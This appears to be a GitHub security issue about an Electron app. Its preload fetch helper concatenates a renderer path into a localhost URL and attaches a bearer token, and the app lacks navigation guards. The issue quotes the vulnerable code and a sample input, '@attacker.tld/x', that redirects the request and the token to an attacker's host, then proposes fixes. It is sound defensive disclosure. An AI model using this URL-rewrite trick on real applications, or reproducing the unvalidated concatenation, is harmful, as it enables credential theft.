Skip to content

Electron: no navigation / window-open guard + api-fetch string-concatenates renderer path (token exfiltration) #36

Description

@I4cTime

Summary

Two compounding gaps that together allow the per-launch backend bearer token to be exfiltrated:

  1. No navigation guard - there is no webContents.setWindowOpenHandler, will-navigate, or will-attach-webview handler anywhere in main.ts. If the renderer is navigated off-origin (or opens a child window), that page keeps the preload, including window.api.fetch, which auto-attaches the bearer token.
  2. api-fetch builds the URL by string concatenation - urlPath from the renderer is concatenated with no validation, and the Authorization header is spread before ...init?.headers so the renderer can clobber it.

Locations

Evidence

const url = `http://127.0.0.1:${apiPort}${urlPath}`;
const response = await fetch(url, { ...init, headers: { "Content-Type": ..., Authorization: `Bearer ${apiToken}`, ...init?.headers } });

A urlPath beginning with @ reinterprets the host: @attacker.tld/x yields http://127.0.0.1:<port>@attacker.tld/x - 127.0.0.1:<port> becomes userinfo, attacker.tld the real host -> the token is sent off-machine.

Fix

Add setWindowOpenHandler (deny / shell.openExternal allowlist) and a will-navigate guard pinned to the app origin; validate that urlPath starts with /; spread ...init?.headers before the Authorization header so it cannot be overridden.

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: electronElectron shell / main / preloadbugSomething isn't workingsecuritySecurity hardening or vulnerabilityseverity: highHigh severity

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions